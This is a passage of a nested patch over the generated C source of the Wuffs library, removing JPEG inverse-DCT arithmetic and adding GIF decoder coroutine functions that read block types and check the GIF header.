a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][10u] | +- self->private_data.f_mcu_blocks[0u][18u] | +- self->private_data.f_mcu_blocks[0u][26u] | +- self->private_data.f_mcu_blocks[0u][34u] | +- self->private_data.f_mcu_blocks[0u][42u] | +- self->private_data.f_mcu_blocks[0u][50u] | +- self->private_data.f_mcu_blocks[0u][58u])) { +- v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); +- v_intermediate[10u] = v_intermediate[2u]; +- v_intermediate[18u] = v_intermediate[2u]; +- v_intermediate[26u] = v_intermediate[2u]; +- v_intermediate[34u] = v_intermediate[2u]; +- v_intermediate[42u] = v_intermediate[2u]; +- v_intermediate[50u] = v_intermediate[2u]; +- v_intermediate[58u] = v_intermediate[2u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_up_to_id_part1; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if ((self->private_impl.f_frame_config_io_position == 0u) || (self->private_impl.f_num_decoded_frame_configs_value > 0u)) { ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_block_type = t_0; ++ } ++ if (v_block_type == 33u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_extension(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (v_block_type == 44u) { ++ if (self->private_impl.f_delayed_num_decoded_frames) { ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_id_part0(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ break; ++ } else { ++ if (self->private_impl.f_delayed_num_decoded_frames) { ++ self->private_impl.f_delayed_num_decoded_frames = false; ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ break; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_up_to_id_part1 = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][11u] | +- self->private_data.f_mcu_blocks[0u][19u] | +- self->private_data.f_mcu_blocks[0u][27u] | +- self->private_data.f_mcu_blocks[0u][35u] | +- self->private_data.f_mcu_blocks[0u][43u] | +- self->private_data.f_mcu_blocks[0u][51u] | +- self->private_data.f_mcu_blocks[0u][59u])) { +- v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); +- v_intermediate[11u] = v_intermediate[3u]; +- v_intermediate[19u] = v_intermediate[3u]; +- v_intermediate[27u] = v_intermediate[3u]; +- v_intermediate[35u] = v_intermediate[3u]; +- v_intermediate[43u] = v_intermediate[3u]; +- v_intermediate[51u] = v_intermediate[3u]; +- v_intermediate[59u] = v_intermediate[3u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_up_to_id_part1 = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (0u == (self->private_data.f_mcu_blocks[0u][12u] | +- self->private_data.f_mcu_blocks[0u][20u] | +- self->private_data.f_mcu_blocks[0u][28u] | +- self->private_data.f_mcu_blocks[0u][36u] | +- self->private_data.f_mcu_blocks[0u][44u] | +- self->private_data.f_mcu_blocks[0u][52u] | +- self->private_data.f_mcu_blocks[0u][60u])) { +- v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); +- v_intermediate[12u] = v_intermediate[4u]; +- v_intermediate[20u] = v_intermediate[4u]; +- v_intermediate[28u] = v_intermediate[4u]; +- v_intermediate[36u] = v_intermediate[4u]; +- v_intermediate[44u] = v_intermediate[4u]; +- v_intermediate[52u] = v_intermediate[4u]; +- v_intermediate[60u] = v_intermediate[4u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ return status; ++} ++ ++// -------- func gif.decoder.decode_header ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_header( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_c48 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][13u] | +- self->private_data.f_mcu_blocks[0u][21u] | +- self->private_data.f_mcu_blocks[0u][29u] | +- self->private_data.f_mcu_blocks[0u][37u] | +- self->private_data.f_mcu_blocks[0u][45u] | +- self->private_data.f_mcu_blocks[0u][53u] | +- self->private_data.f_mcu_blocks[0u][61u])) { +- v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); +- v_intermediate[13u] = v_intermediate[5u]; +- v_intermediate[21u] = v_intermediate[5u]; +- v_intermediate[29u] = v_intermediate[5u]; +- v_intermediate[37u] = v_intermediate[5u]; +- v_intermediate[45u] = v_intermediate[5u]; +- v_intermediate[53u] = v_intermediate[5u]; +- v_intermediate[61u] = v_intermediate[5u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_header; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_decode_header.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_header.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 40) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c48 = t_0; ++ } ++ if ((v_c48 != 106889795225927u) && (v_c48 != 106898385160519u)) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_header); ++ goto exit; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_header = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][14u] | +- self->private_data.f_mcu_blocks[0u][22u] | +- self->private_data.f_mcu_blocks[0u][30u] | +- self->private_data.f_mcu_blocks[0u][38u] | +- self->private_data.f_mcu_blocks[0u][46u] | +- self->private_data.f_mcu_blocks[0u][54u] | +- self->private_data.f_mcu_blocks[0u][62u])) { +- v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); +- v_intermediate[14u] = v_intermediate[6u]; +- v_intermediate[22u] = v_intermediate[6u]; +- v_intermediate[30u] = v_intermediate[6u]; +- v_intermediate[38u] = v_intermediate[6u]; +- v_intermediate[46u] = v_intermediate[6u]; +- v_intermediate[54u] = v_intermediate[6u]; +- v_intermediate[62u] = v_intermediate[6u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = 